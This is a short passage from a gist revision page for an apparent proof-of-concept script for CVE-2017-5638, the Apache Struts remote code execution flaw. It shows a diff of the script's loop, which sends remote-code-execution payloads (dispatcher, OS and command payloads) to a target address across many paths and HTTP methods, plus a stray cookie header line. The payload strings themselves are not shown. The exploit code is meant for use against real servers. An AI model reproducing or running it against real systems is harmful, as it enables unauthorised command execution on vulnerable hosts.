    -H 'Cookie: JSESSIONID='"${JSESSIONID}" \
  30. f0r34chb3t4 revised this gist Apr 20, 2018. 1 changed file with 1 addition and 1 deletion.
    2 changes: 1 addition & 1 deletion CVE-2017-5638-poc2.sh
    View file
    Original file line number Diff line number Diff line change
    @@ -806,7 +806,7 @@ dispatcher='%{#context["com.opensymphony.xwork2.dispatcher.HttpServletResponse"]

    for XPATH in ${PATH_LIST}; do
    for METHOD in HEAD PUT GET POST DELETE TRACE OPTIONS NULL CONNECT; do
    check "${METHOD} ${IPv4}${XPATH}" "$( generic_rce "${METHOD}" "${IPv4}${XPATH}" "${dispatcher}" )"
    #check "${METHOD} ${IPv4}${XPATH}" "$( generic_rce "${METHOD}" "${IPv4}${XPATH}" "${dispatcher}" )"
    check "${METHOD} ${IPv4}${XPATH}" "$( generic_rce "${METHOD}" "${IPv4}${XPATH}" "${OS_PAYLOAD}" )"
    check "${METHOD} ${IPv4}${XPATH}" "$( generic_rce "${METHOD}" "${IPv4}${XPATH}" "${CMD_PAYLOAD}" )"
    done